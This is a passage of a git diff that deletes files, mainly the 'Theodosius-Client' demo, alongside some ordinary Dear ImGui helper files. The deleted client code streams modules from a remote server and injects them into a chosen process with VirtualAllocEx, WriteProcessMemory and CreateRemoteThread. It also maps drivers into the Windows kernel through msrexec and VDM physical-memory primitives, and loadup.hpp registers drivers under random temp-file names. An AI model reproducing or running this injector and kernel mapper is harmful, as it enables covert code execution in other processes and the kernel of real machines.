IMGUI_ENABLE_FREETYPE'. - // If you need to dynamically select between multiple builders: - // - you can manually assign this builder with 'atlas->FontBuilderIO = ImGuiFreeType::GetBuilderForFreeType()' - // - prefer deep-copying this into your own ImFontBuilderIO instance if you use hot-reloading that messes up static data. - IMGUI_API const ImFontBuilderIO* GetBuilderForFreeType(); - - // Override allocators. By default ImGuiFreeType will use IM_ALLOC()/IM_FREE() - // However, as FreeType does lots of allocations we provide a way for the user to redirect it to a separate memory heap if desired. - IMGUI_API void SetAllocatorFunctions(void* (*alloc_func)(size_t sz, void* user_data), void (*free_func)(void* ptr, void* user_data), void* user_data = NULL); - - // Obsolete names (will be removed soon) - // Prefer using '#define IMGUI_ENABLE_FREETYPE' -#ifndef IMGUI_DISABLE_OBSOLETE_FUNCTIONS - static inline bool BuildFontAtlas(ImFontAtlas* atlas, unsigned int flags = 0) { atlas->FontBuilderIO = GetBuilderForFreeType(); atlas->FontBuilderFlags = flags; return atlas->Build(); } -#endif -} diff --git a/demos/DemoImGui/misc/natvis/README.txt b/demos/DemoImGui/misc/natvis/README.txt deleted file mode 100644 index 1219db4..0000000 --- a/demos/DemoImGui/misc/natvis/README.txt +++ /dev/null @@ -1,4 +0,0 @@ - -Natvis file to describe dear imgui types in the Visual Studio debugger. -With this, types like ImVector<> will be displayed nicely in the debugger. -You can include this file a Visual Studio project file, or install it in Visual Studio folder. diff --git a/demos/DemoImGui/misc/natvis/imgui.natvis b/demos/DemoImGui/misc/natvis/imgui.natvis deleted file mode 100644 index 25d72fb..0000000 --- a/demos/DemoImGui/misc/natvis/imgui.natvis +++ /dev/null @@ -1,49 +0,0 @@ - - - - - - - - {{Size={Size} Capacity={Capacity}}} - - - Size - Data - - - - - - {{Size={DataEnd-Data} }} - - - DataEnd-Data - Data - - - - - - {{x={x,g} y={y,g}}} - - - - {{x={x,g} y={y,g} z={z,g} w={w,g}}} - - - - {{Min=({Min.x,g} {Min.y,g}) Max=({Max.x,g} {Max.y,g}) Size=({Max.x-Min.x,g} {Max.y-Min.y,g})}} - - Min - Max - Max.x - Min.x - Max.y - Min.y - - - - - {{Name {Name,s} Active {(Active||WasActive)?1:0,d} Child {(Flags & 0x01000000)?1:0,d} Popup {(Flags & 0x04000000)?1:0,d} Hidden {(Hidden)?1:0,d}} - - - \ No newline at end of file diff --git a/demos/DemoImGui/misc/single_file/imgui_single_file.h b/demos/DemoImGui/misc/single_file/imgui_single_file.h deleted file mode 100644 index 6c1fb36..0000000 --- a/demos/DemoImGui/misc/single_file/imgui_single_file.h +++ /dev/null @@ -1,18 +0,0 @@ -// dear imgui: single-file wrapper include -// We use this to validate compiling all *.cpp files in a same compilation unit. -// Users of that technique (also called "Unity builds") can generally provide this themselves, -// so we don't really recommend you use this in your projects. - -// Do this: -// #define IMGUI_IMPLEMENTATION -// Before you include this file in *one* C++ file to create the implementation. -// Using this in your project will leak the contents of imgui_internal.h and ImVec2 operators in this compilation unit. -#include "../../imgui.h" - -#ifdef IMGUI_IMPLEMENTATION -#include "../../imgui.cpp" -#include "../../imgui_demo.cpp" -#include "../../imgui_draw.cpp" -#include "../../imgui_tables.cpp" -#include "../../imgui_widgets.cpp" -#endif diff --git a/demos/Theodosius-Client/Theodosius-Client.vcxproj b/demos/Theodosius-Client/Theodosius-Client.vcxproj deleted file mode 100644 index ebab2d8..0000000 --- a/demos/Theodosius-Client/Theodosius-Client.vcxproj +++ /dev/null @@ -1,175 +0,0 @@ - - - - - Debug - Win32 - - - Release - Win32 - - - Debug - x64 - - - Release - x64 - - - - 16.0 - Win32Proj - {490558cd-7fd5-4e6b-af9a-334eefa86ecd} - TheodosiusClient - 10.0 - - - - Application - true - v142 - Unicode - - - Application - false - v142 - true - Unicode - - - Application - true - v142 - MultiByte - - - Application - false - v142 - true - MultiByte - - - - - - - - - - - - - - - - - - - - - - true - - - false - - - true - - - false - - - - Level3 - true - WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - - - Console - true - - - - - Level3 - true - true - true - WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - - - Console - true - true - true - - - - - Level3 - true - _WINSOCK_DEPRECATED_NO_WARNINGS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) - true - stdcpp17 - - - Console - true - Ws2_32.lib;%(AdditionalDependencies) - - - - - Level3 - true - true - true - _WINSOCK_DEPRECATED_NO_WARNINGS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) - true - stdcpp17 - Disabled - - - Console - true - true - true - Ws2_32.lib;%(AdditionalDependencies) - - - - - - - - - - - - - - - - - - - - - - - - Document - - - - - - - \ No newline at end of file diff --git a/demos/Theodosius-Client/Theodosius-Client.vcxproj.filters b/demos/Theodosius-Client/Theodosius-Client.vcxproj.filters deleted file mode 100644 index 64eb610..0000000 --- a/demos/Theodosius-Client/Theodosius-Client.vcxproj.filters +++ /dev/null @@ -1,79 +0,0 @@ - - - - - {4FC737F1-C7A5-4376-A066-2A32D752A2FF} - cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx - - - {93995380-89BD-4b04-88EB-625FBE52EBFB} - h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd - - - {93bb5bf3-c86c-4015-af08-ab18a2cb53ef} - - - {850a83e4-6a8d-4e43-b4ac-61e33684306f} - - - {3e860da9-aa94-415e-895c-6ef8fd8a4d9f} - - - {3dc90298-3937-43af-9583-880ca81c26c4} - - - - - Source Files - - - Source Files - - - Source Files\msrexec - - - Source Files\vdm - - - - - Header Files - - - Header Files - - - Header Files - - - Header Files\msrexec - - - Header Files\msrexec - - - Header Files\msrexec - - - Header Files\msrexec - - - Header Files\vdm - - - Header Files\vdm - - - Header Files\vdm - - - Header Files\msrexec - - - - - Source Files - - - \ No newline at end of file diff --git a/demos/Theodosius-Client/Theodosius-Client.vcxproj.user b/demos/Theodosius-Client/Theodosius-Client.vcxproj.user deleted file mode 100644 index 88a5509..0000000 --- a/demos/Theodosius-Client/Theodosius-Client.vcxproj.user +++ /dev/null @@ -1,4 +0,0 @@ - - - - \ No newline at end of file diff --git a/demos/Theodosius-Client/client.cpp b/demos/Theodosius-Client/client.cpp deleted file mode 100644 index 2748622..0000000 --- a/demos/Theodosius-Client/client.cpp +++ /dev/null @@ -1,70 +0,0 @@ -#include "client.hpp" - -namespace theo -{ - client::client - ( - SOCKET client_socket, - const theo::theo_data& init_packet, - const mapper_routines_t& routines - ) - : - client_socket(client_socket), - alloc(std::get<0>(routines)), - mcopy(std::get<1>(routines)), - resolver(std::get<2>(routines)) - { - // send first packet to the server... this is an init packet... - if (send(client_socket, reinterpret_cast( - &init_packet), sizeof init_packet, NULL) == SOCKET_ERROR) - std::printf("[!] failed to send init packet... reason = %d\n", - WSAGetLastError()); - } - - std::uintptr_t client::handle() const - { - theo::theo_data packet; - memset(&packet, NULL, sizeof packet); - - while (recv(client_socket, reinterpret_cast( - &packet), sizeof packet, MSG_WAITALL) != SOCKET_ERROR) - { - switch (packet.type) - { - case theo::theo_packet_type::alloc_memory: - { - packet.alloc.addr = alloc(packet.alloc.alloc_size, packet.alloc.prot); - break; - } - case theo::theo_packet_type::copy_memory: - { - mcopy(packet.copy_memory.dest_addr, - packet.copy_memory.data, packet.copy_memory.size); - break; - } - case theo::theo_packet_type::resolve_symbol: - { - packet.resolve.symbol_addr = - resolver(packet.resolve.symbol); - break; - } - case theo::theo_packet_type::disconnect: - { - const auto result = packet.entry_point; - closesocket(client_socket); - return result; - } - } - - send(client_socket, reinterpret_cast( - &packet), sizeof packet, NULL); - - memset(&packet, NULL, sizeof packet); - } - - std::printf("[+] socket closed with reason = %d\n", - WSAGetLastError()); - - return {}; - } -} \ No newline at end of file diff --git a/demos/Theodosius-Client/client.hpp b/demos/Theodosius-Client/client.hpp deleted file mode 100644 index 7057aed..0000000 --- a/demos/Theodosius-Client/client.hpp +++ /dev/null @@ -1,92 +0,0 @@ -#pragma once -#include -#include -#include -#include -#include - -// if you change this, make sure -// to change it in the client also... -#define PACKET_DATA_SIZE 0x1000 - -// max symbol string size... if you -// change this update the client also... -#define PACKET_SYMBOL_SIZE 0x1000 - -namespace theo -{ - enum class theo_packet_type - { - init, - alloc_memory, - resolve_symbol, - copy_memory, - disconnect - }; - - enum class theo_file_type - { - demo_drv, - demo_dll, - demo_imgui - }; - -#pragma pack(push, 1) - typedef struct _theo_data - { - theo_packet_type type; - - union - { - theo_file_type file; - std::uintptr_t entry_point; - - struct - { - void* addr; - std::size_t alloc_size; - std::uint32_t prot; - } alloc; - - struct - { - void* dest_addr; - std::size_t size; - std::uint8_t data[PACKET_DATA_SIZE]; - } copy_memory; - - struct - { - std::uintptr_t symbol_addr; - std::size_t symbol_size; - char symbol[PACKET_SYMBOL_SIZE]; - } resolve; - }; - } theo_data, * ptheo_data; -#pragma pack(pop) - - using malloc_t = std::function; - using memcpy_t = std::function; - - using resolve_symbol_t = std::function; - using mapper_routines_t = std::tuple; - - class client - { - public: - explicit client - ( - SOCKET client_socket, - const theo::theo_data& init_packet, - const mapper_routines_t& routines - ); - - // returns entry point... - std::uintptr_t handle() const; - private: - SOCKET client_socket; - malloc_t alloc; - memcpy_t mcopy; - resolve_symbol_t resolver; - }; -} \ No newline at end of file diff --git a/demos/Theodosius-Client/loadup.hpp b/demos/Theodosius-Client/loadup.hpp deleted file mode 100644 index d20246b..0000000 --- a/demos/Theodosius-Client/loadup.hpp +++ /dev/null @@ -1,263 +0,0 @@ -/* - MIT License - - Copyright (c) 2020 xerox - - Permission is hereby granted, free of charge, to any person obtaining a copy - of this software and associated documentation files (the "Software"), to deal - in the Software without restriction, including without limitation the rights - to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - copies of the Software, and to permit persons to whom the Software is - furnished to do so, subject to the following conditions: - - The above copyright notice and this permission notice shall be included in all - copies or substantial portions of the Software. - - THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - SOFTWARE. -*/ - - -#pragma once -#include -#include -#include -#include -#include -#include -#include - -#pragma comment(lib, "ntdll.lib") -extern "C" NTSTATUS NtLoadDriver(PUNICODE_STRING); -extern "C" NTSTATUS NtUnloadDriver(PUNICODE_STRING); - -namespace driver -{ - namespace util - { - inline auto delete_service_entry(const std::string& service_name) -> bool - { - HKEY reg_handle; - static const std::string reg_key("System\\CurrentControlSet\\Services\\"); - - auto result = RegOpenKeyA( - HKEY_LOCAL_MACHINE, - reg_key.c_str(), - ®_handle - ); - - return ERROR_SUCCESS == RegDeleteKeyA(reg_handle, service_name.data()) && - ERROR_SUCCESS == RegCloseKey(reg_handle);; - } - - inline auto create_service_entry(const std::string& drv_path, const std::string& service_name) -> bool - { - HKEY reg_handle; - std::string reg_key("System\\CurrentControlSet\\Services\\"); - reg_key += service_name; - - auto result = RegCreateKeyA( - HKEY_LOCAL_MACHINE, - reg_key.c_str(), - ®_handle - ); - - if (result != ERROR_SUCCESS) - return false; - - std::uint8_t type_value = 1; - result = RegSetValueExA( - reg_handle, - "Type", - NULL, - REG_DWORD, - &type_value, - 4u - ); - - if (result != ERROR_SUCCESS) - return false; - - std::uint8_t error_control_value = 3; - result = RegSetValueExA( - reg_handle, - "ErrorControl", - NULL, - REG_DWORD, - &error_control_value, - 4u - ); - - if (result != ERROR_SUCCESS) - return false; - - std::uint8_t start_value = 3; - result = RegSetValueExA( - reg_handle, - "Start", - NULL, - REG_DWORD, - &start_value, - 4u - ); - - if (result != ERROR_SUCCESS) - return false; - - result = RegSetValueExA( - reg_handle, - "ImagePath", - NULL, - REG_SZ, - (std::uint8_t*)drv_path.c_str(), - drv_path.size() - ); - - if (result != ERROR_SUCCESS) - return false; - - return ERROR_SUCCESS == RegCloseKey(reg_handle); - } - - inline auto enable_privilege(const std::wstring& privilege_name) -> bool - { - HANDLE token_handle = nullptr; - if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token_handle)) - return false; - - LUID luid{}; - if (!LookupPrivilegeValueW(nullptr, privilege_name.data(), &luid)) - return false; - - TOKEN_PRIVILEGES token_state{}; - token_state.PrivilegeCount = 1; - token_state.Privileges[0].Luid = luid; - token_state.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; - - if (!AdjustTokenPrivileges(token_handle, FALSE, &token_state, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr)) - return false; - - CloseHandle(token_handle); - return true; - } - - inline auto get_service_image_path(const std::string& service_name) -> std::string - { - HKEY reg_handle; - DWORD bytes_read; - char image_path[0xFF]; - static const std::string reg_key("System\\CurrentControlSet\\Services\\"); - - auto result = RegOpenKeyA( - HKEY_LOCAL_MACHINE, - reg_key.c_str(), - ®_handle - ); - - result = RegGetValueA( - reg_handle, - service_name.c_str(), - "ImagePath", - REG_SZ, - NULL, - image_path, - &bytes_read - ); - - RegCloseKey(reg_handle); - return std::string(image_path); - } - } - - inline auto load(const std::string& drv_path, const std::string& service_name) -> NTSTATUS - { - if (!util::enable_privilege(L"SeLoadDriverPrivilege")) - return false; - - if (!util::create_service_entry("\\??\\" + - std::filesystem::absolute(std::filesystem::path(drv_path)).string(), service_name)) - return false; - - std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\"); - reg_path += service_name; - - ANSI_STRING driver_rep_path_cstr; - UNICODE_STRING driver_reg_path_unicode; - - RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str()); - RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true); - return NtLoadDriver(&driver_reg_path_unicode); - } - - inline auto load(const std::vector& drv_buffer) -> std::pair - { - static const auto random_file_name = [](std::size_t length) -> std::string - { - std::srand(std::time(0)); - static const auto randchar = []() -> char - { - const char charset[] = - "0123456789" - "ABCDEFGHIJKLMNOPQRSTUVWXYZ" - "abcdefghijklmnopqrstuvwxyz"; - const std::size_t max_index = (sizeof(charset) - 1); - return charset[rand() % max_index]; - }; - - std::string str(length, 0); - std::generate_n(str.begin(), length, randchar); - return str; - }; - - const auto service_name = random_file_name(16); - const auto file_path = std::filesystem::temp_directory_path().string() + service_name; - std::ofstream output_file(file_path.c_str(), std::ios::binary); - - output_file.write((char*)drv_buffer.data(), drv_buffer.size()); - output_file.close(); - - return { load(file_path, service_name), service_name }; - } - - inline auto load(const std::uint8_t* buffer, const std::size_t size) -> std::pair - { - std::vector image(buffer, buffer + size); - return load(image); - } - - inline auto unload(const std::string& service_name) -> NTSTATUS - { - std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\"); - reg_path += service_name; - - ANSI_STRING driver_rep_path_cstr; - UNICODE_STRING driver_reg_path_unicode; - - RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str()); - RtlAnsiStringToUnicodeString( - &driver_reg_path_unicode, &driver_rep_path_cstr, true); - - const bool unload_result = - NtUnloadDriver(&driver_reg_path_unicode); - - util::delete_service_entry(service_name); - // sometimes you cannot delete the driver off disk because there are still handles open - // to the driver, this means the driver is still loaded into the kernel... - try - { - std::filesystem::remove( - std::filesystem::temp_directory_path() - .string() + service_name); - } - catch (std::exception& e) - { - return STATUS_ABANDONED; - } - return unload_result; - } -} \ No newline at end of file diff --git a/demos/Theodosius-Client/main.cpp b/demos/Theodosius-Client/main.cpp deleted file mode 100644 index 9f41fe6..0000000 --- a/demos/Theodosius-Client/main.cpp +++ /dev/null @@ -1,525 +0,0 @@ -#include -#include -#include - -#include -#include - -#include "client.hpp" -#include "msrexec/msrexec.hpp" -#include "msrexec/vdm.hpp" -#include "vdm/vdm_ctx.hpp" - -using map_symbols_t = std::map>; -using extern_symbols_t = std::vector>; - -auto get_map_symbols(std::string map_path) -> map_symbols_t -{ - std::ifstream map_file(map_path); - - if (!map_file.is_open()) - return { {}, {} }; - - std::string line; - map_symbols_t result; - while (std::getline(map_file, line)) - { - const auto colon_index = line.find(":"); - if (colon_index == std::string::npos) - break; - - const auto section_number = - std::strtoul(line.substr(1, - colon_index).c_str(), NULL, 16); - - const auto section_offset = - std::strtoull(line.substr( - colon_index + 1, 16).c_str(), NULL, 16); - - auto symbol = line.substr( - colon_index + 16 + 8, - line.length() - (colon_index + 16 + 7)); - - symbol[symbol.length()] = '\0'; - result[symbol] = { section_number, section_offset }; - } - return result; -} - -int __cdecl main(int argc, char** argv) -{ - if (argc <= 5) - { - std::printf("[!] invalid usage... please review the following:\n"); - std::printf("\t> client.exe --ip 127.0.0.1 --port 1234 --DemoDll --pid 14234\n"); - std::printf("\t> client.exe --ip 127.0.0.1 --port 1234 --DemoImGui --pid 14234\n"); - std::printf("\t\t> --pid, provide a process id to inject into...\n"); - std::printf("\t\t> --ip, must be specific I.E 127.0.0.1...\n"); - std::printf("\t\t> --port, port number to connect too...\n"); - std::printf("\t\t> --DemoDll, streams demo dll...\n"); - std::printf("\t\t> --DemoImGui, streams demo imgui project...\n"); - std::printf("\t> client.exe --ip 127.0.0.1 --port 1234 --DemoDrv --MSREXEC --maps ntoskrnl.exe.map\n"); - std::printf("\t> client.exe --ip 127.0.0.1 --port 1234 --DemoDrv --VDM --maps ntoskrnl.exe.map\n"); - std::printf("\t\t> --pid, provide a process id to inject into...\n"); - std::printf("\t\t> --ip, must be specific I.E 127.0.0.1...\n"); - std::printf("\t\t> --MSREXEC, use MSREXEC to map the driver...\n"); - std::printf("\t\t> --VDM, use VDM to map the driver...\n"); - std::printf("\t\t> --maps, map files for unexported symbols...\n"); - std::printf("\t\t> --DemoDrv, maps demo driver into the kernel...\n"); - return -1; - } - - int result{}; - SOCKET client_socket; - WSADATA startup_data; - ADDRINFOA addr_info, * addr_result = nullptr; - memset(&addr_info, NULL, sizeof addr_info); - - if ((result = WSAStartup(MAKEWORD(2, 2), &startup_data))) - { - std::printf("[!] failed to startup wsa... reason = %d\n", result); - return -1; - } - - if ((result = getaddrinfo(argv[2], argv[4], &addr_info, &addr_result))) - { - std::printf("[!] failed to get address info = %s:%s, reason = %d\n", - argv[2], argv[4], result); - return -1; - } - - if ((client_socket = socket(addr_result->ai_family, - addr_result->ai_socktype, addr_result->ai_protocol)) == INVALID_SOCKET) - { - std::printf("[!] failed to create socket... reason = %d\n", - WSAGetLastError()); - return -1; - } - - if ((result = connect(client_socket, addr_result->ai_addr, - addr_result->ai_addrlen)) == SOCKET_ERROR) - { - std::printf("[!] failed to connect to server... reason = %d\n", - WSAGetLastError()); - return -1; - } - - std::printf("[+] connected to theo server (%s:%s)\n", - argv[2], argv[4]); - - theo::theo_data packet; - packet.type = theo::theo_packet_type::init; - - // determine which file we are asking to map... - for (auto idx = 0u; idx < argc; ++idx) - { - if (!strcmp(argv[idx], "--DemoDll")) - { - packet.file = theo::theo_file_type::demo_dll; - break; - } - else if (!strcmp(argv[idx], "--DemoDrv")) - { - packet.file = theo::theo_file_type::demo_drv; - break; - } - else if (!strcmp(argv[idx], "--DemoImGui")) - { - packet.file = theo::theo_file_type::demo_imgui; - break; - } - } - - switch (packet.file) - { - case theo::theo_file_type::demo_dll: - case theo::theo_file_type::demo_imgui: - { - std::uint32_t pid_offset = 0u, pid = 0u; - for (auto idx = 3; idx < argc; ++idx) - if (!strcmp(argv[idx], "--pid")) - pid_offset = idx + 1; - - if (!pid_offset || !(pid = std::atoi(argv[pid_offset]))) - { - std::printf("[!] invalid pid...\n"); - return -1; - } - - const auto phandle = - OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); - - if (phandle == INVALID_HANDLE_VALUE) - { - std::printf("[!] failed to open handle...\n"); - return -1; - } - - theo::malloc_t _alloc = - [&](std::size_t size, std::uint32_t prot) -> void* - { - const auto result = - VirtualAllocEx - ( - phandle, - nullptr, - size, - MEM_COMMIT | MEM_RESERVE, - prot - ); - - if (!result) - { - std::printf("[!] failed to allocate virtual memory...\n"); - exit(-1); - } - - return result; - }; - - theo::memcpy_t _memcpy = - [&](void* dest, const void* src, std::size_t size) -> void* - { - SIZE_T bytes_handled; - if (!WriteProcessMemory(phandle, dest, src, size, &bytes_handled)) - { - std::printf("[!] failed to write memory... reason = 0x%x\n", GetLastError()); - std::getchar(); - } - return dest; - }; - - theo::resolve_symbol_t _resolver = - [&](const char* symbol_name) -> std::uintptr_t - { - static std::map symbol_table; - - if (!symbol_table[symbol_name]) - { - auto loaded_modules = std::make_unique(64); - std::uintptr_t result = 0u, loaded_module_sz = 0u; - - if (!EnumProcessModules(phandle, - loaded_modules.get(), 512, (PDWORD)&loaded_module_sz)) - return {}; - - for (auto i = 0u; i < loaded_module_sz / 8u; i++) - { - wchar_t file_name[MAX_PATH] = L""; - if (!GetModuleFileNameExW(phandle, - loaded_modules.get()[i], file_name, _countof(file_name))) - continue; - - if ((result = reinterpret_cast( - GetProcAddress(LoadLibraryW(file_name), symbol_name)))) - break; - } - - symbol_table[symbol_name] = result; - return result; - } - - return symbol_table[symbol_name]; - }; - - theo::client mapper(client_socket, packet, { _alloc, _memcpy, _resolver }); - std::printf("[+] streaming module...\n"); - - const auto module_entry = - reinterpret_cast( - mapper.handle()); - - std::printf("[+] module entry -> 0x%p\n", module_entry); - if (module_entry) - { - std::uint32_t tid = 0u; - CreateRemoteThread(phandle, NULL, - NULL, module_entry, NULL, NULL, (LPDWORD)&tid); - } - break; - } - case theo::theo_file_type::demo_drv: - { - std::uint32_t maps_offset = 0u; - std::vector> extern_symbols; - - for (auto idx = 5; idx < argc; ++idx) - { - if (!strcmp(argv[idx], "--maps")) - { - maps_offset = idx + 1; - break; - } - } - - if (maps_offset) - { - for (auto idx = maps_offset; idx <= argc - 1; ++idx) - { - extern_symbols.push_back - ({ - std::filesystem::path(argv[idx]).stem().string(), - get_map_symbols(argv[idx]) - }); - } - } - - std::printf("[+] number of map files = %d\n", extern_symbols.size()); - for (auto idx = 0u; idx < extern_symbols.size(); ++idx) - std::printf("[+] %s number of symbols = %d\n", - extern_symbols[idx].first.c_str(), extern_symbols[idx].second.size()); - - theo::resolve_symbol_t _kresolver = - [&, &extern_symbols = extern_symbols](const char* symbol_name) -> std::uintptr_t - { - std::uintptr_t result = 0u; - utils::kmodule::each_module - ( - [&](PRTL_PROCESS_MODULE_INFORMATION drv_info, const char* drv_path) -> bool - { - const auto drv_name = - reinterpret_cast( - drv_info->OffsetToFileName + drv_info->FullPathName); - - // false if we found the symbol... - return (!(result = utils::kmodule::get_export(drv_name, symbol_name))); - } - ); - - if (!result) - { - for (auto& [drv_name, drv_symbols] : extern_symbols) - { - // each kernel module... find a driver with a matching map file name... - // I.E ntoskrnl.exe.map == ntoskrnl.exe... - utils::kmodule::each_module - ( - [&, &drv_name = drv_name, &drv_symbols = drv_symbols] - (PRTL_PROCESS_MODULE_INFORMATION drv_info, const char* drv_path) -> bool - { - const auto _drv_name = - reinterpret_cast( - drv_info->OffsetToFileName + drv_info->FullPathName); - - // if this is the driver, load it, loop over its sections - // calc the absolute virtual address of the symbol... - if (!strcmp(_drv_name, drv_name.c_str())) - { - const auto drv_load_addr = - reinterpret_cast( - LoadLibraryExA(drv_path, NULL, DONT_RESOLVE_DLL_REFERENCES)); - - std::uint32_t section_count = 1u; - utils::pe::each_section - ( - [&, &drv_symbols = drv_symbols] - (PIMAGE_SECTION_HEADER section_header, std::uintptr_t img_base) -> bool - { - if (section_count == drv_symbols[symbol_name].first) - { - result = reinterpret_cast(drv_info->ImageBase) + - section_header->VirtualAddress + drv_symbols[symbol_name].second; - - // we found the symbol... - return false; - } - - ++section_count; - // keep going over sections... - return true; - }, drv_load_addr - ); - } - - // keep looping over modules until we resolve the symbol... - return !result; - } - ); - - // if we found the symbol then break out of the loop... else keep looping... - if (result) break; - } - } - - // finally return the result... - return result; - }; - - for (auto idx = 0u; idx < argc; ++idx) - { - if (!strcmp(argv[idx], "--MSREXEC")) - { - const auto [drv_handle, drv_key, drv_status] = msrexec::load_drv(); - if (drv_status != STATUS_SUCCESS || drv_handle == INVALID_HANDLE_VALUE) - { - std::printf("> failed to load driver... reason -> 0x%x\n", drv_status); - return -1; - } - - writemsr_t _write_msr = - [&](std::uint32_t key, std::uint64_t value) -> bool - { - return msrexec::writemsr(key, value); - }; - - vdm::msrexec_ctx msrexec(_write_msr); - - theo::malloc_t _kalloc = - [&](std::size_t size, std::uint32_t prot) -> void* - { - void* alloc_base; - msrexec.exec - ( - [&](void* krnl_base, get_system_routine_t get_kroutine) -> void - { - using ex_alloc_pool_t = - void* (*)(std::uint32_t, std::size_t); - - const auto ex_alloc_pool = - reinterpret_cast( - get_kroutine(krnl_base, "ExAllocatePool")); - - alloc_base = ex_alloc_pool(NULL, size); - } - ); - return alloc_base; - }; - - theo::memcpy_t _kmemcpy = - [&](void* dest, const void* src, std::size_t size) -> void* - { - void* result = nullptr; - msrexec.exec - ( - [&](void* krnl_base, get_system_routine_t get_kroutine) -> void - { - const auto kmemcpy = - reinterpret_cast( - get_kroutine(krnl_base, "memcpy")); - - result = kmemcpy(dest, src, size); - } - ); - return result; - }; - - theo::client mapper(client_socket, packet, { _kalloc, _kmemcpy, _kresolver }); - std::printf("[+] streaming kernel module...\n"); - - const auto module_entry = - reinterpret_cast( - mapper.handle()); - - std::printf("[+] driver entry -> 0x%p\n", module_entry); - std::getchar(); - - if (module_entry) - { - int result; - msrexec.exec([&result, drv_entry = module_entry] - (void* krnl_base, get_system_routine_t get_kroutine) -> void - { - using drv_entry_t = int(*)(); - result = reinterpret_cast(drv_entry)(); - }); - } - - const auto unload_status = msrexec::unload_drv(drv_handle, drv_key); - if (unload_status != STATUS_SUCCESS) - { - std::printf("> failed to unload driver... reason -> 0x%x\n", unload_status); - return -1; - } - break; - } - else if (!strcmp(argv[idx], "--VDM")) - { - const auto [drv_handle, drv_key, drv_status] = vdm::load_drv(); - if (drv_status != STATUS_SUCCESS || drv_handle == INVALID_HANDLE_VALUE) - { - std::printf("> failed to load driver... reason -> 0x%x\n", drv_status); - return -1; - } - - // read physical memory using the driver... - vdm::read_phys_t _read_phys = - [&](void* addr, void* buffer, std::size_t size) -> bool - { - return vdm::read_phys(addr, buffer, size); - }; - - // write physical memory using the driver... - vdm::write_phys_t _write_phys = - [&](void* addr, void* buffer, std::size_t size) -> bool - { - return vdm::write_phys(addr, buffer, size); - }; - - // use VDM to syscall into ExAllocatePool... - vdm::vdm_ctx vdm(_read_phys, _write_phys); - - theo::malloc_t _kalloc = - [&](std::size_t size, std::uint32_t prot) -> void* - { - using ex_alloc_pool_t = - void* (*)(std::uint32_t, std::uint32_t); - - static const auto ex_alloc_pool = - reinterpret_cast( - utils::kmodule::get_export( - "ntoskrnl.exe", "ExAllocatePool")); - - return vdm.syscall(ex_alloc_pool, NULL, size); - }; - - // use VDM to syscall into memcpy exported by ntoskrnl.exe... - theo::memcpy_t _kmemcpy = - [&](void* dest, const void* src, std::size_t size) -> void* - { - static const auto kmemcpy = - reinterpret_cast( - utils::kmodule::get_export( - "ntoskrnl.exe", "memcpy")); - - return vdm.syscall(kmemcpy, dest, src, size); - }; - - theo::client mapper(client_socket, packet, { _kalloc, _kmemcpy, _kresolver }); - - const auto module_entry = - reinterpret_cast( - mapper.handle()); - - std::printf("[+] driver entry -> 0x%p\n", module_entry); - std::getchar(); - - if (module_entry) - { - // call driver entry... its up to you to do this using whatever method... - // with VDM you can syscall into it... with msrexec you will use msrexec::exec... - const auto entry_result = - vdm.syscall( - reinterpret_cast(module_entry)); - } - - const auto unload_status = vdm::unload_drv(drv_handle, drv_key); - if (unload_status != STATUS_SUCCESS) - { - std::printf("> failed to unload driver... reason -> 0x%x\n", unload_status); - return -1; - } - break; - } - } - break; - } - default: - { - std::printf("[!] invalid demo file option...\n"); - return -1; - } - } - - std::printf("[+] press enter to close...\n"); - std::getchar(); -} \ No newline at end of file diff --git a/demos/Theodosius-Client/msrexec/ia32.hpp b/demos/Theodosius-Client/msrexec/ia32.hpp deleted file mode 100644 index dd65439..0000000 --- a/demos/Theodosius-Client/msrexec/ia32.hpp +++ /dev/null @@ -1,21527 +0,0 @@ -/** @file */ -#pragma once -using uint8_t = unsigned char; -using uint16_t = unsigned short; -using uint32_t = unsigned int; -using uint64_t = unsigned long long; - -/** - * @defgroup intel_manual \ - * Intel Manual - * - * @remarks All references are based on Intel(R) 64 and IA-32 architectures software developer's manual combined volumes: - * 1, 2A, 2B, 2C, 2D, 3A, 3B, 3C, 3D, and 4 (May 2018). - * @{ - */ - /** - * @defgroup control_registers \ - * Control registers - * - * Control registers (CR0, CR1, CR2, CR3, and CR4) determine operating mode of the processor and the characteristics of the - * currently executing task. These registers are 32 bits in all 32-bit modes and compatibility mode. - * In 64-bit mode, control registers are expanded to 64 bits. The MOV CRn instructions are used to manipulate the register - * bits. Operand-size prefixes for these instructions are ignored. The following is also true: - * - The control registers can be read and loaded (or modified) using the move-to-or-from-control-registers forms of the - * MOV instruction. In protected mode, the MOV instructions allow the control registers to be read or loaded (at privilege - * level 0 only). This restriction means that application programs or operating-system procedures (running at privilege - * levels 1, 2, or 3) are prevented from reading or loading the control registers. - * - Bits 63:32 of CR0 and CR4 are reserved and must be written with zeros. Writing a nonzero value to any of the upper 32 - * bits results in a general-protection exception, \#GP(0). - * - All 64 bits of CR2 are writable by software. - * - Bits 51:40 of CR3 are 